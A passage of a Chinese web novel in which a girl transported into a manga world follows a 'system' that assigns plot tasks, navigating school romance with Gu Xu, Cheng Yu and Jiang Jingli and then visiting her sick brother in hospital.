与此同时,阮柚听见任务成功的提示音。 隐约松了口气。 她慢吞吞从臂弯里抬起头,支起下巴,忍不住观察顾叙的反应。 系统之前说,顾叙喜欢安静不被打扰,那她这几天就要对症下药,反其道而行。 身边,少年正微弓着背,长腿微抵,低着头似在专注翻找些什么。 阮柚慢悠悠收回视线,摸向自己未看完的漫画书。 唔,任务先不急。 而忽然间,一个分神的功夫,对方从一侧桌面推过来些东西。 定睛一看,她微微愣住。 身边,顾叙嗓音温和,解释道:“是之前的门票。” 阮柚自然不会忍痛拒绝:“谢谢。” 将一票难求的门票珍重置放以后,她依旧不受控地瞄向那几包熟悉的小熊软糖。 ……? 这真的是顾叙刚才给她的吗? 顾叙似乎感受到她的疑惑,抵唇清嗓,“……这是准备给你的小礼物。” 阮柚盯着小熊软糖看,抬眸,“你怎么知道……?”她喜欢吃这个。 她有和别人说过吗? 顾叙一顿,道:“什么?” 阮柚话语截在一半,尔后,又发现一个更加重要的问题。 他为什么要提前给她准备小礼物呀? 恰逢此时,一段剧情毫无征兆出现在脑海里。 【成为顾叙同桌,对于阮柚而言,是第一次真正意义上和“那个圈子”沾上边,这让她心情激动。于是乎,为了快速拉近关系,她开始不厌其烦地问东问西……】 阮柚重复默念着问东问西这四个字眼。 这倒是不难。 微微转过身,手指攥着椅背,正欲念着剧情台词时,顾叙却再次开口。 话题倏然一转。 “不拆开看看吗?是不是忘记了。” 嗯? 经他这么一提醒,阮柚后知后觉想起纸折的飞机。 伸手拿起,安静拆开。 素白微褶的纸上,字体遒劲有力,却只有一句话:“能过来祝我生日快乐吗。” 正反都没有落款。 阮柚一瞬茫然,确定后,短暂皱了下眉。 完全想不到是谁。 她想,可能是恶作剧吧。 而另一边,顾叙不动声色扫过视线,不经意问起,“是重要的消息吗?” 阮柚摇了摇头,放好后,将猜测说出,“应该只是恶作剧。” 顾叙笑了下,声音轻淡,“哦,那就是不重要了。” / 下午,原本晴空万里的天陡然生变,黑压压的乌云漫无边际。 学院咖啡厅,雨雾蒙上玻璃,顺着雨滴擦落成线。 阮柚缓缓搅着咖啡杯,听见周围同学在低声议论。 “那只是个家族小支系罢了,得罪了江净理,这个下场不足为奇。” “我听内部人说,本来没闹到这么严重的地步,后来又发生了些事情,所以才连根拔起……” “什么事?我怎么不知……” “嘘。” 意识到有些不对劲,阮柚缓缓抬起头,很快看向了来人。!! 成玉。 意识这点后,右眼皮跟着一跳。 对面,少年戴着红色围巾,下巴微垂,几缕黑色碎发翘在上面,多了几分慵懒。 人一亮相,瞬间就顿时引来数道灼热视线。 阮柚撑起一边手肘,掩住侧脸,竭力降低存在感。 尤其在这时候。 成玉:“好巧,在这里偶遇你,一个人吗?” 阮柚:“好巧。” 她顿了下,“嗯。” 她望着兀自落座的成玉,指尖不自觉挠了下杯沿。 直到热雾缓缓落在下巴时,她看了眼倚在软背点咖啡的成玉,还是没想到任何办法托词。 她别开视线,再次看向那架无人注意的钢琴。 谁能想到在做任务的时候,成玉会突然出现呀。 距离宁糖和顾叙出现在这里,分别还有五分钟、十五分钟。 原漫里,女主宁糖即使出生平凡,却各方面天赋极佳,尤其是钢琴天赋。 但在很长一段时间,总是无人欣赏,珍珠蒙尘。而一次学院咖啡馆兼职替班的经历,她的天赋被前来咖啡厅躲雨的顾叙看见、欣赏,从此命运交织,由此产生了一系列的剧情…… 而她要做的,是当众质疑女主的能力,然后被现实打脸。 由此推动剧情一步步展开。 阮柚对这段剧情熟悉到,已经快要背下来了。 但如今多了个变数。 阮柚沉默抿了口咖啡,尔后,舌尖苦涩微漾。 她短暂蹙了下眉头,唔,应该加些糖的。 对面传来熟悉的声音。 “学姐。” 成玉薄唇轻抿,眼里清晰映着她,“所以你的答案呢?” 阮柚空空眨了眨眼:……? 什么答案? 成玉继续道:“这周末是我的生日。” 阮柚恍然,微微睁大眼睛,“原来是你。” 那个匿名的纸飞机。 “我以为你会知道。” 少年说罢,睫压落,声音淡去,有种显而易见的失落。 阮柚不由得摸了下鼻尖,斟酌道,“可能是因为你忘记写名字了。” 成玉一默,尔后,唇角带笑,“这样啊。” 阮柚微微点了点下巴。 看吧。 成玉手指有一搭没一搭的敲着杯沿,有些若有所思。 他记得,顾叙将纸飞机收走的时候,两人隔着空气对视了。 阮柚扫了眼那边,尚未动静,于是她答话,“周末的话,我可能没空。” 成玉:“没事,我等你。” 阮柚欲言又止:…… 可恶。 不多时,咖啡门从外面推开,有新的客人走了进来。 阮柚余光一直留神着,所以那边一有风吹草动,视线就敏锐的探了过去。 成玉注意到这一点,安静顺着她的目光,转过身去看。 而下一秒,门彻底推开。 见到来人时,阮柚眼神一僵,差点没拿稳手里的杯子。 目光像被烫了一样,猛地弹开,快速游离偏转。 她没看错吧,怎么会是顾叙和江净理! 宁糖呢? 成玉看着忽然闯入视线的两人,一时间,心情意味不明。 在迎上视线后,他笑得漫不经意,又不躲不闪。 最后,他慢条斯理道,“这里只有两个位置,你们不用过来了。” 第23章 第二十三章 很特别 成玉的话耳边清晰回荡, 一字字敲在她心上某根弦。 话说的没错,但初听起来,却总莫名有种奇怪的感觉。 而最重要的是—— 实质感受到了存在感极强的视线后, 阮柚佯装自然摩挲着杯沿,再没有借口当隐形小虾米。 很快,她抬起脑袋, 礼貌笑了下。 得到回应后, 又不动声色别开,低头搅了几下咖啡。 大脑飞速运转, 努力平静厘清现状。 所以,现在该怎么办! 前方,少年长身玉立,眉眼微掩在黑色鸭舌帽下, 疏离平淡。 “没关系。” 不多时,他开口。 阮柚看着江净理。 没、没关系? 她动作一顿, 尔后, 很快循着动静转过头。 身边, 两人先后落座, 位置恰好平行在身边, 隔着行走的过道。 风云主角倏然凑成团,俨然一道亮丽风景线。 但对于她而言,无疑是一个定时炸弹。 阮柚鼻息微落, 仔细看了眼时间。 也算误打误撞, 顾叙提前到了咖啡厅, 同样能见证宁糖绽放光彩。 成玉轻嗤了声,声音不经意,“有的人, 真是甩都甩不掉。” 冷不丁听到一声,阮柚右眼皮一跳,不明所以,“嗯?” 还没得到回应,耳边,熟悉的声音再次响起,一如既往轻描淡写。 “和她一样的就好。” 全然忽视,未受影响。 见服务员对着她的方向礼貌颔首,阮柚不自觉摸了下鼻尖,视线慢悠悠一转,又见顾叙平静出声,“既然是招牌,那我也来一份好了。” 服务员:“好的。” 后知后觉,觉察到气氛的几丝怪异。 ……什么情况。 她点这款是因为性价比呀。 当然,脑海所有的疑惑,都在宁糖出现后烟消云散。 确定后,阮柚捏了捏小拳头,背微挺直,瞬间打起十分精神。 透过窗看,宁糖正停在檐下抖伞,手已然落在了推拉的长把上。 目光停留的稍久了会儿,对面,成玉眼神一顿,觉察着想回头去看。 阮柚如梦初醒,心一紧,伸手拽住他的注意。 意识过来后,她看了眼少年微皱衣角,手指无意贴扫过对方手表,触感陌生冰凉。 糟糕。 她猛地缩回手,很快道,“对不起……” 正飞速酝酿理由时,她听到成玉笑了下,很轻。 “为什么说对不起,我不会怪你。” 阮柚一怔:……? “阮柚。” 还未回应,有人叫她的名字。 是一直没说话的顾叙。 “试卷我今早放你桌上了,你有印象吗?” 话题来得跳跃,阮柚想了三秒,“嗯,我夹在笔记里了,整理完再给你。” 顾叙嗓音温和,道,“没关系,我不急。” 听着两人不经意流露出的熟稔自然,成玉唇角笑容淡了些。 这次,他可不能安慰自己是错觉。 而江净理则笑了下,看向顾叙,一时没有说话。 目光深长,好似蛰伏着审视。 这边,阮柚撑起下巴,余光观察着宁糖的行进动作,寻找适当时机。 她的座位位于咖啡厅一角,在精心挑选下,不偏不倚尽收眼底。 【系统:任务发布,请宿主适当推波助澜,促使宁糖更好凸显钢琴天赋。】 机械音特意在“更好”两字加重。 阮柚短暂思忖,不经意扫了眼女主宁糖的方向。 咖啡店勤工俭学,代替学姐值下午班,却临时告知,需要弹奏钢琴。 此时的女主坐在钢琴前,微亮灯光下,神情隐含小心翼翼。 伸手,琴声微动,尔后,逐渐在空中悠扬流淌。 周围已有不少人探去视线,其中也有人起身围了过去。 看来一切按照剧情进行。 万事俱备,只欠东风。 阮柚安静吞咽了口空气,听着优雅的琴声,手心拍在膝盖上,想要起身。 与此同时,她觉察到几分不对。 视线不自然一扫,几秒后,她忍不住问,“你们看着我做什么?” 江净理神色未改,慢条斯理道,“在想你要去哪。” 阮柚:? 要去做任务。 但其实更想一个人静静。 TvT 回话时,江净理那边来了通电话。 循着这个间隙,阮柚站起身,脚步轻快钻过零散人墙。 "她是谁呀,弹的还挺好听的。\" “有点面熟,但是想不起来,不过有一说一,她弹得确实有水平,应该是专业练习过吧。” “哇,真的很惊艳。” 阮柚背着身站着,听见几人压低声议论,低头清了清嗓。 她慢悠悠踱步,头一晃,念着台词,“这有什么可惊艳的,也就一般水平吧。” 几个人一听,神色狐疑,“哪里一般了?” 阮柚:“都是最基本的,没什么难度……” 话音刚落,几乎同时,不远处的宁糖重新起了调,钢琴演绎的熟练完美。 几人见状翘起唇角,眼里明晃晃映着:看,这就是人家的实力,毋庸置疑。 阮柚缓缓错开视线,扫了眼头顶的现代装潢,佯装尴尬情绪。 一切进展的很顺利。 除了—— “看来你真的很喜欢。” 身后忽然响起一道熟悉的声音。 阮柚心漏半拍,扭头,顾叙低头看她,眉眼带笑。 对方不知何时走了过来。 "……喜欢?" 她顿了下,反应过来,“其实也还好。” 顾叙微微颔首,没有说话,像是将话听了进去。 阮柚抿了下唇,她注意到,自己迟迟没有等来系统宣布任务成功。 趁这会儿只有顾叙一个人,她当机立断,试探,“很好听吧?” 顾叙一愣,尔后抬眸,嗯了一声。 “的确。” 阮柚沉默两秒,张了张嘴,想要再添一把火。 而恰逢此时,任务成功的消息传来。 至少意味着,顾叙已经觉察到女主的天赋 哦豁。 身上的担子陡然卸下,阮柚安静松了口气 看来,大功告成! 刚准备道别离开之际,顾叙叫住她,嗓音温淡,“如果你喜欢听,可以来C5教室,我弹给你听。” C5钢琴教室,弹钢琴。 这些都不应该和她有关系。 阮柚思路一滞,很快,拒绝的话几乎本能脱口而出。 “不用了,我不能白听。” 顿了顿,努力自圆其说,"其实还是要门票比较好。” 顾叙一愣,笑容略微无奈,缓缓漫过眉梢。 “我还是第一次听到这样的话。” “很特别。” 阮柚一梗,后知后觉脸颊发热。 可恶,她刚才在说什么。 而周围,默默竖起耳朵听八卦的路人:……? 她真的,我哭死。 / 阮柚在自动贩卖机前买水时,偶然间听到一则最新消息。 “听说江净理的母亲要来圣煜选代言人。” “真假,消息可靠吗?” “论坛出公告了,千真万确。” “呜呜,如果那个人是我就好了!” 弯腰取完矿泉水,阮柚并未原地久留,选择安静离开现场。 回到班级,她拧开瓶盖,喝了一口润嗓。 唔,没想到出门买个水都能触发剧情。 看来不远了。 原漫里,成为基金会代言人,意味着同时拥有很多机会。 而原身为了被选上可谓是煞费苦心。 努力碰瓷。 不过最后,也只是竹篮打水一场空,还差点提前翻车。 将矿泉放好后,身边有人落座。 顾叙递给她一叠书,神情欲言又止。 阮柚庄重严肃地接过,“谢谢你。” 低头看,是那部悬疑漫画的下册。 顾叙经常去图书馆,为了给对方添麻烦,阮柚灵机一动,让他顺带帮忙借阅。 她低头翻阅。 感受到身边扫过来的视线,少女眉心微动,忍不住看了过去。 很快,直直撞上一对深灰色双眸。 阳光下,愈发深邃柔和,一瞬不瞬注视着她。 原来,一直不是她的错觉。 见她看过来,顾叙一顿,微抿起唇,往后侧了下。 最后,表现出几分不自在 阮柚倒计时后,忍痛将漫画书合上:“我觉得你应该是有话要对我说。” 顾叙闻言,手背抵了下额头,一笑,“看来我表现的有点明显。” 阮柚一时没吱声。 眼睛清晰映着:没错。 “我想问,后天你有没有空,我排练曲子,缺几个观众。” 阮柚眼睫微闪,尚未对此作答,一段剧情出现在脑海里。 很快缓冲、逐渐清晰。 【听到顾叙和宁糖交集增多消息时,阮柚心情复杂。 但有一点她是确认的,那就是她不想让这件事发生。于是,为了减少两人相处,在顾叙排练钢琴时,她做了一件旁人无法理解的事 …最终,一个不注意,不小心将路过的成玉牵扯其中。】 阮柚回顾完剧情,想到接下来要充当黑手,制造成玉和女主宁糖锁在储物间两小时的缘分,忍不住低咳了一声。 唔,有点心虚。 已经开始想象会怎么被追杀了。 这时,系统冒了出来:宿主加油哦!请再接再厉。 阮柚捏了捏手心,唇一抿,朝顾叙点了点头。 与此同时,教室前门响起同学的呼唤。 “阮柚,成玉说有重要的事找你。” 声音突兀,直白。 顾叙眉微不可察皱了下,抬起眼皮,最先看了过去。 第24章 第二十四章 我就猜到是你 迎着那道声音, 阮柚走出了教室。 重要的事? 教室长廊,成玉垂眸望着窗外,听见动静偏过头, 眼睛翘起笑弧。 “学姐。” 嗓音干净。 阮柚缓步走了过去,抬眼,略微疑惑, “是有什么事吗?” 边说着, 抬手埋了下衣领,冷不丁见到剧情当事人, 心情短暂划过复杂。 他怎么过来了。 表面上,她维持面不改色,等待对方的回答。 成玉微微点头,走近时, 背光人影微微遮下,“生日那天, 你能来当我的舞伴吗?” 距离稍近, 声音随之降低, 微磁落在耳边。 舞伴? ……是她没听仔细吗? 阮柚捏了下手心, 唇微抿, 莫名怀疑自己的听觉。 可他最不该找的人,就是她呀。 直到迎上一道期待的目光,她这才确认。 在收拢的距离下, 所有情绪兀自放大。 “可以吗?” 沉默间隙, 他再次问起。 阮柚摇了摇脑袋, 嘴唇微动,拒绝的话即将脱口之际。 而与此同时,侧后方的门框处, 一道熟悉的声音出现的不经意。 “阮柚,快上课了。” 注意力被动静吸引。 她闻声转头,第一眼注意到对方手上的保温杯。 是和气质明显不符的粉。 嗯? 一瞬定格后,阮柚眨了眨眼睛。 似有所觉,顾叙手指微动,睫毛扫过视线,笑了下,“顺路帮你带了。” “喝凉水对肠胃不好。” 经她这么一提,阮柚很快想起自己屯在书包里尚未开封的三瓶矿泉水。 出于某种不可言说的惰性,她常忘记打温水,抽奖赢来的粉色保温杯几乎闲置。 阮柚礼貌笑了下:“嗯,谢谢你。” 顾叙闻言,唇角带笑,“不客气,我们不是同桌么。” 阮柚不自觉点了点下巴。 唔,助人为乐的男菩萨! 但转念一想,心中微微迟疑。 话这样说的没错,但理智告诉她,自己不该收到这个反应。 看来“骚/扰”任务要再加把火。 衡量原则显而易见:对方越避之不及,就越是成功。 想到成玉还在等待回答,阮柚不再多想。 她回过头,将想好的话说出去,声音平静,“对不起,会有比我更好的人选。” 成玉看了她几秒,眸微微垂下,“不会有的。” 少年声音轻促,说时,刚好被响起的预备铃声重叠替代。 他于是停下,静静看她。 阮柚目光一闪,安静目睹他嘴唇瓮动,话说得无声无息。 结束之际,她下意识询问了一句。 “我没有听清。” 对面,成玉笑得轻松,又是熟悉的张扬疏朗,“我是说,其实只要你来就好。” 阮柚抿了下唇,嗯了一声,没有第二次拒绝。 算了,反正也想不到和剧情的关系。 辞别转身时,发现顾叙还在那边,肩膀安安静静侧靠着墙壁。 对上视线后,他轻声,“没关系的,这节课是自习。” 阮柚摇头:“我这就回去了。” 等阮柚走后,成玉不动声色叫住了顾叙。 他只说了一句话,言简意赅, “顾叙,你也会吗?” 而顾叙沉默了两秒,嗓音平静,“成玉,这句话很幼稚。” 沉默发酵多余的情绪、想法,其中总是真假难辨。 而一旦经历言语,所有情绪几乎总能心照不宣。 成玉想,他是听到答案了。 / 自习课尾声,阮柚撑着腮帮,黑笔涂涂写写,白纸黑线成团。 身边,少年坐姿端正挺拔,手指不时翻阅过书本,专注认真。 阮柚余光扫了眼,满页看不懂的数字符号,在阳光下密密麻麻,让她不明觉厉。 想到剧情修正任务,她望着笔迹凌乱的草稿纸,顿时灵机一动。 纸张团成球,咻的一小下,很快落在顾叙眼皮子底下。 日常打扰顾叙学习。 Get! 阮柚脸不红心不跳,压了下微翘的额发,装作若无其事。 伸手,低头喝了口水。 热雾腾过鼻尖时,她睫毛一抖,低头,看向被对方放回桌面的纸团。 不偏不倚,刚好在正中央落下。 她合上杯子,犹豫着拿起展开。 几句刻意的尬聊下,少年字迹工整,一板一眼道,“专心学习。” 阮柚盯了三秒,尔后,慢悠悠蜷缩掌心。 很好,对方已经开始警告她了! 秉着趁热打铁的心态,阮柚二话不说,趴在桌上,对着草稿圆珠笔飞动。 然而不多时,头顶处轻轻划过一阵风,倏然落下一张叠好的纸块。 抬起眼皮,手指骨节分明,很快离开视线。 动作来得轻描淡写。 阮柚动作一僵,缓缓坐直身,犹豫着展开。 ——“下课再聊,快了。” 依旧是熟悉的字体,纸张透过阳光,折痕转淡,黑字明显。 盯着字迹发呆了两秒,阮柚微吁了口气,隐约对这个计划动摇。 好像,效果哪里不太对。 她后知后觉的想,莫名有些泄气。 下课后,阮柚注意到窗边围了一群人,好奇地出了位置,凑了过去。 B班位于三楼,视野宽敞极佳,能很好地欣赏圣煜一草一木。 帘子全然拉开,窗沿处围满同学,阮柚一走近,细碎谈话慢慢钻入耳廓。 频繁捕捉到成玉的名字,阮柚心中好奇更甚,好似挠起了痒。 视野前一片乌泱,无奈什么都看不见。 她咬了咬后牙,当机立断,决定踮起脚尖。 后脚跟一空时,终于,画面陡然出现。 ……又模糊飞逝,最后连一只鸟都没有看见。 “成玉逃课被罚了跑步。”不多时,身后飘来熟悉的声音。 顾叙缓缓走近,语气平静。 阮柚闻言,很是意外。 成玉,他会被罚? 无怪乎她这么想,因为原著漫画里,他始终都是闲散惯了的矜贵少爷人设,在圣煜无视规则、不受拘束。 顾叙似听见心声,自顾自:“最近他家人管他比较严。” 阮柚一听,瞬间福至心灵。 原来如此。 剧情至此连成线。 漫画里,成玉因违反校规,不仅在跑道上被罚了圈,而且还被要求去打扫圣煜边角储物室,由此引发一系列剧情。 包括即将执行的任务。 原来是因为这个原因。 她微微了然。 于是乎,阮柚部再继续好奇。 她点了点头,错开身,默不作声回了座位。 心平气和的盯着草稿本,默默合上收回,开始临时构想和顾叙有关的B计划。 / 到了和顾叙约定的时间,阮柚坐在学院演奏厅台下,认真鼓掌到手心微麻。 呜,不愧是原漫里的钢琴天才,真的好好听。 周围,林顿星忍不住出声,“虽然不懂音乐,但我听完以后,只想说完美。” 阮柚闻言,仿佛遇见心声嘴替,重重应和了两声。 没错!就是这种感觉。 舞台聚光灯下,顾叙垂着眸,半个身形掩在琴架后。 从她的方向看,少年脊背挺拔如松,侧脸柔和专注。 一曲结束,他落下手指,遥遥看向观众席,对着她的方向牵唇一笑。 阮柚微微抿唇,确定他在朝自己笑,安静点了点头。 弧度很轻,但尽数落在顾叙眼里时,某处弦仍旧轻拨而过。 这种感觉异样于所有的赞美、肯定。 他睫毛遮下,指尖搭过黑白琴键,轻如羽毛扫过。 即使对钢琴,他也没有感受过全身心的喜欢、近乎炙热的情绪。 反之,很淡,像循规蹈矩的人生。 再次抬眸,他很快注意到少女的动作,目光安定下来。 阮柚觉察到视线,见他没再继续弹下去,解释道,“我去趟洗手间。” 得到回应后,她转过身,迅速整理思路。 这时按照剧情演进,女主宁糖已经破格进入了学院钢琴社,逐渐开始展露头角。 下午,她上完所有选修课,会来艺术楼的钢琴室练琴,顺便帮忙去储物间角落取些活动必需品。 “……却被一阵美妙的琴声吸引驻足。” 阮柚默念着剧情,脚步停在出口处,手指扒拉过墙边,缓缓探出视线。 果不其然,学院演奏厅的进口处,熟悉的人影掩在暗处,久久没有动作。 缘分,真是妙不可言。 出了演奏厅,她进洗手间洗了下手,温水穿过指缝流淌,舒缓安逸。 心情跟着轻松些。 阮柚纸巾擦净水痕,扔进了垃圾桶。 按照原计划,出门后,她沿着偌大空寂的走廊穿梭而过。 艺术楼这时没什么人,脚步声清晰可见。 她心无旁骛,一路畅通无阻。 正欲松口气,阮柚步伐倏停,转身,谨慎地靠在墙边。 确定声音源于谁后,她睫毛微煽,忍不住咽了口空气。 “我说过了,我根本不稀罕,所以不必白费功夫。” 少年声音少了散漫,利落冰冷,不含情绪。 对面似乎说了些什么,最后,只换来他的一声轻嘲。 ——“是啊,我这辈子,最讨厌‘完美’两个字。” 声音倏然截断。 是成玉。 阮柚眉心冷不丁一跳,确定对方真的毫无动静后,这才抑住了离开现场的念头。 鼻息落下长气,她靠在墙壁,努力平静分析现状。 刚才应该是接了通电话。 按这语气,大概就是顾叙所提及的那句话吧。 这么看来,似乎不仅是管的严那么简单。 很快,安静的空气传来转来门把手转动的声音,清晰突兀。 很重,透露出主人心情的烦躁。 却又像在证明什么。 很快,没了动静。 阮柚将多余的想法飞速甩出脑后。 她平静了一会儿。 眼前任务要紧。 恰逢此时,耳边响起系统的提示音。 【请宿主注意,剧情修正任务即将触发。】 她瞬间打起十分精神。 抬起手,将羽绒服的帽子扣在头顶,脸庞被边缘绒毛遮住大半。 世界清晰了些,错落的呼吸声在耳畔放大。 心定几分后,她慢慢探出身。 尔后,视线猛地一烫。 走廊末端,宁糖走过来了! 瞬间,阮柚心跳如雷鼓,脑海再次掠过任务。 成玉路过学院储物间,象征性三两下整理奖杯,无聊本想离开之际,宁糖忽然走了进来,来寻找钢琴社举办活动用的铭牌、旗帜。 而跟随宁糖身后不远处,时刻履行女配人设的她,会将虚掩的门偷偷反锁,逃之夭夭。 回顾至此,她视线定了定。 一切按计划来。 这边,阮柚屏气凝神,心一横,将门反锁。 情况逐渐明朗。 动作完毕后,她理了下帽檐,余光感受到墙角摄像头方向,飞速留下了一张剧情需要的模糊侧脸。 尔后,转身,灰溜溜地离开案发现场。 一切行云流水,正当阮柚即将松口气时,冷不丁地,直直撞入一堵陌生人墙。 阮柚退后两步,忍不住摸了下鼻尖,却意外感知到帽子被人缓缓摘落。 细绒顺着脸颊蹭过脖颈,缓缓荡开痒意。 陡然间,她眼皮一跳,觉察几分不对时,倏然抬起脑袋。 本该身在储物间的成玉,蓦地出现在她面前,黑色额发沾着些许冷水,攒过眉梢旁,露出光洁的额头。 少年裹挟着一身冷气,却是浑然不觉,低头看着她,笑得唇红齿白。 “我就猜到是你。” 阮柚:!! 他怎么会在这里! 晴天霹雳。 第25章 第二十五章 而是他 阮柚咬了下腮间软肉, 试着让自己清醒。 确认面前是活生生的人后,她看着成玉,勉强维持住表情管理。 什么情况! 很快, 她听见自己问,“你怎么会,你怎么在这里?” 心乱如麻。 成玉笑容未改, 配合反问, “我为什么不能在这里?” 笑得愈发纯粹,丝毫不见半点阴霾。 少年额发不时渗出冷滴, 投落的黑睫沾着几分湿意。 随着安静延长,缓缓勾勒过轮廓,卷没入衣领。 对方似乎不怕冷,也感觉不到冷。 但她不一样。 此时此刻, 阮柚只觉心生凉意,理智在挣扎横跳。 他不在里面, 那这次任务可怎么办! 想到即将夭折的任务, 阮柚浮现不甘心, 捏紧小拳头, 大脑飞速运转。 还没宣布失败, 就暂且不算。 “怎么了?” 见阮柚一时没答话,成玉再次出声。 “其实我也想问,不过能在这遇见, 那一定是因为有缘了。” 阮柚闻言, 鼻息落下热气, 低低嗯了声。 见话题抛过来,她半刻不敢耽误,问, “成玉,你是不是有什么事要做呀?” 比如说,去储物间整理奖杯! 她安静直视对方,努力保持自然。 实则疯狂暗示。 成玉一顿,轻挑了下眉,“你怎么知道的?” 说时,拖着长调。 听在阮柚耳里,莫名感觉出几分试探。 她垂了下睫,抬眼,心虚情绪掩去,“我是听别人说的。” 成玉:“别人是谁?” 阮柚话头一梗,对着空气张了张口。 不带这么抓重点的! 这时,头顶倏然一声笑。 “好了,不逗你了。” 阮柚:……? 而对面,成玉话一停,笑容缓缓淡下。 他下巴微侧,敛眸扫过她身后的方向某处。 情绪起伏微步可察,却尽数落入她的眼里。 阮柚见状,登时有种不好的预感。 而不多时,偌大走廊里,响起第三个人的声音。 “原来在这里。” 顾叙声音温淡朗然,脚步声由远及近。 阮柚一听,大脑嗡嗡作响,僵直站在原地。 怕什么来什么。 面前,成玉沉默注视。 而身后,顾叙步步靠近。 而这个时机,可不是两人叙旧谈心的时候! 趁着任务尚有回旋空间,她咬了咬后牙,大脑一热,直接捉住成玉手腕。 瞬间一下子拽回对方的注意。 果然奏效。 一不做二不休,先把他骗过去再说。 手心,陌生凉意顷刻袭来,触感存在感极强。 她克制松手的念头,努力不动声色。 撞入少年微愕眼神时,阮柚飞速扯了下动作,声音仓促,“去吧,正事要紧,以后再聊。” 见他没有多余的反应,她心一松,决定快刀斩乱麻。 趁顾叙人还没过来。 "好啊,都听你的。" 成玉笑着说话,却是扫向顾叙。 而阮柚一无所觉,埋头快步走过。 尔后,很快感觉到拉力一空,身后,少年顺着她的动作亦步亦趋。 异常乖顺配合。 炙热视线如有实质,阮柚抿紧唇,打算暂时破罐子破摔。 “阮柚?” “很明显,这里有个人是多余的。” 顾叙、成玉的声音先后响起,前者迟疑,后者轻漫。 在她的耳畔左右拉扯。 阮柚抿了下唇,目光紧紧盯着那扇门,要到了。 顾叙皱深了眉,看着两人几乎重叠的背影,眸色微深。 对方眉眼张扬恣肆,幼稚直白的把戏,却极其晃眼。 画面滚烫、刺眼。 他不动声色敛下目光,沉默跟在两人后面。 距离泾渭分明,让人心口鼓噪。 而这边,成玉扫过被轻圈的手腕,下颌微绷,有些失神。 是这种感觉。 手腕倏然一松,两人步伐停下。 阮柚沉思三秒,灵光一现,“你在这里等我一下!” “嗯。” 嗓音很轻。 阮柚转过身,跑去对面教室。 眼见有尘埃落定的势头,阮柚为了让任务更顺利,动作半点不敢拖延。 希望女主大人找那些铭牌的时间能再长些。 而这边,成玉和顾叙相顾而立,不知是谁打破安静。 顾叙:“她来这听我弹钢琴。” 成玉转手腕,冷淡挑眉,“那为什么,刚才喊她都不理你。” 顾叙一顿,启唇,正要说什么,斜刺里,少女声音兀自出现。 “成玉。” 成玉闻言,翘了翘唇角,余光淡淡越过顾叙。 “嗯,我在。” 顾叙薄唇微抿,长睫掩下晦暗,跟着声音别过视线。 冷不丁迎上两道视线,阮柚话一促,朝顾叙礼貌颔首。 然后,直直迎上成玉的眼睛,专注且期待。 成玉笑意更甚。 "给你,快去吧。\" 阮柚递给他,眼神鼓励。 “嗯?”成玉微微低头,很快,唇角笑容一滞。 手指迟疑着收拢。 顾叙望了过去,跟着一愣。 阮柚解释,“你等会进去擦奖杯会用到这个抹布。” 见少年神色微滞,她飞速补充,“这是全新的。” 成玉:"……擦奖杯?” 一边,顾叙抵唇轻咳,动静很轻。 成玉抿直了唇,喉结微动,没再说话。 阮柚点头,下意识看了眼不远处房门紧闭的储物间。 这时,顾叙问,“所以,你是想让他去那里?” 阮柚应声,尔后,又看向了成玉。 她蜷指摸了下鼻尖,唔,怎么感觉现在气氛有些诡异 顾叙轻描淡写,“原来如此。” 成玉沉默了下,收拢,想再说些什么。 然而,与此同时,不远处传来房门敲动的闷响。 一拍拍撞在阮柚心口。 “……请问外面有人吗?”是刻意抬高声音的宁糖。 阮柚被迫认命:……呜 任务,在努力扑腾挣扎后,终卒。 / 次日出门时,外面覆上白雪。 雪下了一夜,冷风斜逆扫过时,空气拂来雪粒,点点消融在脸颊。 唔,好冷。 阮柚将手缩在袖子里,抬眸,自顾自向前走着。 最近是流行感冒季,医院大厅挤满了排队等号人。 阮柚弹了弹肩上的雪粒,安静穿梭过人群。 走进电梯后,一段剧情自顾自在脑海展开—— 她打起十分精神,毕竟,这是系统颁布的补偿任务。 【听说阮时即将要做重大手术,阮柚犹豫片刻,还是打算顺路去看一眼。而没想到,这次看望,却遇见了意想不到的人……】 阮柚盯着‘’意想不到‘’这四个字,百思不得其解。 系统开始卖关子:“是足够推动剧情的人。” 推开病房门时,阮时敏锐被动静吸引,扭头,眼眸瞬间亮起,“姐姐!” 惊喜溢于言表。 “嗯。”阮柚缓缓坐下,轻声,“这是你拼的吗?” 她注意到旁边桌上的拼图,好奇凑近看,“是什么呀。” 阮时:“是小虎鲸,我很喜欢的动物。” 阮柚轻微点了点头,忍不住问,“为什么喜欢它?” 阮时将最后一块拼图安在中间,声音很轻,“他们相处团结,很温暖。” 这样啊。 阮柚轻微抿起唇角,又看了眼小阮时。 他正埋着脑袋重新将拼图乱序,认真又专注。 数日未见,似乎比之前更加羸弱苍白。 感受到目光,阮时抬起头,声音轻糯,“姐姐,你怎么来了。” 阮柚伸手试着拼了几块:“听说你明天要做手术了,所以我过来看看你。” 阮时眸光闪烁,不由自主道,“所以,姐姐是在关心我吗?” 阮柚闻言,刚想说些什么,兜里的电话响起。 是阮母。 她安静起身,缓步走出房门,找到一处相对清净的地方打电话。 “喂?” “小柚,你在医院吗?”那头声音很快传来。 阮柚避让路人,脊背贴靠墙壁,低嗯了一声。 “我过来看看阮时。” 她解释。 对面那头隐生嘈杂,缓了会儿,阮母声音再次传来,“上次你和我说的话,我没忘。” 说罢,她迟疑道,“那位夫人下午要过来,说是帮忙调了专业医疗团队,所以……” 阮柚很快听出了弦外之音。 她顿时了然,原来系统说的“意想不到”是她呀。 电话的最后,她应了声,没有答话。 挂断后,心中摩拳擦掌,隐生出雀跃。 这也算一次很大的翻车了吧! 思及此处,她忍不住翘起唇角。 转过身,打算原路返回,敬候佳音。 而走了两步,脚尖有东西落下。 她注意到,视线定了定,是一块熟悉的黑色拼图。 很快想起自己出门时不小心蹭了下。 应该是无意携过来的。 阮柚俯身拾起,妥善放回口袋。 边走着,同时想该如何让顾叙提出结束同桌的要求。 她之前旁敲侧击过好几次,但似乎……完全不见迹象。 而后天是系统下达的最晚期限。 得好好想想了。 火得添的更旺一些! 她默默往回走着,越过几间病房,最终抵达。 迟迟没进去。 总觉得,阮时不该这样看着她。 她明白,如果期望攒多了,落空的失望就越是盛大。 而她不是能给她期待的人。 反而,她必须要时刻守住人设。 右手悬在半空两秒,阮柚耷拉下脑袋,还是决定推门进去。 待会还要等郁时漫过来呢。 而正在犹豫之际,阮柚忽然听到一阵谈话声。 出现的并不突兀,但在医院走廊,热络地有些嘈乱。 阮柚循声一瞥,不远处,几位穿着白大褂的医生护士走了过来,肃着脸,步履匆匆。 错身离开时,带起一阵风,轻轻扇动鬓角发丝。 